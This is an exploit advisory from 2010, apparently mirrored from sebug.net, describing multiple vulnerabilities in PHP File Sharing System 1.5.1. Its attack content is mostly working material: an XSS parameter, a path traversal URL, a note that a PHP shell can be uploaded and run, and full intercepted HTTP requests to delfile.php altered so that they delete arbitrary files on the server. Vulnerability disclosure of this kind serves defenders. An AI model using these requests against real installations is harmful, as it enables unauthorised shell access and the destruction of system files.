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PHP File Sharing System v1.5.1 Multiple Vulnerabilities

SEBUG-ID:19245
Published:2010-03-09
Exploit:
[www.sebug.net]
The following procedures (methods) may contain something offensive，they are only for security researches and teaching , at your own risk!
Title: PHP File Sharing System 1.5.1 Multiple Vulnerabilities
Author: blake
Tested on: Windows XP SP3 with xampplite
 
 
1) XSS
http://192.168.1.149/fss/index.php?cam=
 
2) Directory transversal
http://192.168.1.149/fss/index.php?cam=/../../../../../../../..
 
3) Shell through file upload
can upload php shell, click on file, and get shell
 
4) can intercept requests using proxy and delete system files
 
intercept request in webscarab
 
GET http://192.168.1.149:80/fss/delfile.php?cam=&dlfile=./uploads/reverse_shell_windows.php HTTP/1.1
Host: 192.168.1.149
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.1.149/fss/index.php?cam=
 
and modify
 
GET http://192.168.1.149:80/fss/delfile.php?cam=&dlfile=log.txt HTTP/1.1
Host: 192.168.1.149
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.1.149/fss/index.php?cam=
// sebug.net [2010-03-09]